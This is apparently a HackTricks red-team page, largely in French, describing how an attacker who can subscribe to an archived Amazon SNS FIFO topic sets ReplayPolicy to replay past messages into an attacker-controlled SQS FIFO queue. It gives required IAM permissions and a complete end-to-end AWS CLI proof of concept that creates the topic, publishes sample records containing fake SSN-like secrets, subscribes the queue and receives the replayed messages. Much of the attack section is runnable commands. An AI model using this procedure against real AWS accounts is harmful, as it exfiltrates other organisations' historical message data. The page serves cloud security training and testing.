SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Abus de l'archivage des messages d'un topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiés précédemment vers une file SQS FIFO contrôlée par l'attaquant en configurant l'attribut ReplayPolicy de la subscription.

  • Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Requirements : Le topic doit avoir ArchivePolicy activé (archivage des messages). L'attaquant peut Subscribe au topic et définir des attributs sur sa subscription. L'attaquant contrôle une SQS FIFO queue et autorise le topic à envoyer des messages.
  • Impact : Des messages historiques (publiés avant la subscription) peuvent être délivrés au endpoint contrôlé par l'attaquant. Les livraisons rejouées sont marquées avec Replayed=true dans l'enveloppe SNS.

Preconditions

  • SNS FIFO topic avec archivage activé : ArchivePolicy (par ex. { "MessageRetentionPeriod": "2" } pour 2 jours).
  • L'attaquant dispose des permissions suivantes :
  • sns:Subscribe sur le topic cible.
  • sns:SetSubscriptionAttributes sur la subscription créée.
  • L'attaquant a une SQS FIFO queue et peut attacher une queue policy permettant sns:SendMessage depuis le topic ARN.

Minimum IAM permissions

  • Sur le topic : sns:Subscribe.
  • Sur la subscription : sns:SetSubscriptionAttributes.
  • Sur la queue : sqs:SetQueueAttributes pour la policy, et une queue policy autorisant sns:SendMessage depuis le topic ARN.

Attack: Replay archived messages to attacker SQS FIFO

L'attaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis définit le ReplayPolicy sur un timestamp passé (dans la fenêtre de rétention de l'archive). SNS rejoue immédiatement les messages archivés correspondants vers la nouvelle subscription et les marque avec Replayed=true.

Notes :

  • Le timestamp utilisé dans ReplayPolicy doit être >= le BeginningArchiveTime du topic. S'il est antérieur, l'API renvoie Invalid StartingPoint value.
  • Pour SNS FIFO Publish, vous devez spécifier un MessageGroupId (et soit un dedup ID soit activer ContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
bash
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)

# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)

echo "Topic: $TOPIC_ARN"

# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done

# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"

# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)

echo "Subscription: $SUB_ARN"

# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi

aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"

# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All

Impact

Impact potentiel : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir ReplayPolicy sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés après la création de l'abonnement. Les messages livrés incluent un indicateur Replayed=true dans l'enveloppe SNS.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks